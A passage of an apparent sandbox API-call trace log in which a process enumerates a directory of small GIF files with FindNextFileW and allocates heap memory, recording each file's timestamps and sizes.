ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15277_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42390f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42390f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21294_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a3c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x436a3c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21295_.GIF", cAlternateFileName="")) returned 1 [0069.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45cc9600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x45cc9600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21296_.GIF", cAlternateFileName="")) returned 1 [0069.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b6900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x449b6900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21297_.GIF", cAlternateFileName="")) returned 1 [0069.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a914a00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a914a00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21298_.GIF", cAlternateFileName="")) returned 1 [0069.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49601d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49601d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21299_.GIF", cAlternateFileName="")) returned 1 [0069.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482ef000, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x482ef000, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21300_.GIF", cAlternateFileName="")) returned 1 [0069.143] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b85800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51b85800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21301_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50872b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50872b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21302_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cf3a400, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4cf3a400, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21304_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc27700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bc27700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21306_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4107e200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4107e200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21308_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea58800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ea58800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21310_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c432e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c432e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21312_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38afa700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x38afa700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x45, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21314_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33eaf300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33eaf300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21316_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc3e500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2cc3e500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21327_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29305e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29305e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21329_.GIF", cAlternateFileName="")) returned 1 [0069.143] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259cd700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x259cd700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21331_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d82300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x20d82300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21333_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d449c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d449c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21335_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c136f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c136f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21337_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b11500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19b11500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21339_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21342_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21343_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32d300, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8e32d300, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21344_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21364_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21365_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21366_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d68800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88d68800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21375_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21376_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21377_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28faf00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb28faf00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21398_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21399_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21400_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21421_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21422_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf7de00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf7de00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21423_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21433_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21434_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f78700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x92f78700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21435_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5593f900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5593f900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21480_.GIF", cAlternateFileName="")) returned 1 [0069.144] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56c52600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21481_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56c52600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21482_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ffd9600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8ffd9600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21503_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ec300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x912ec300, 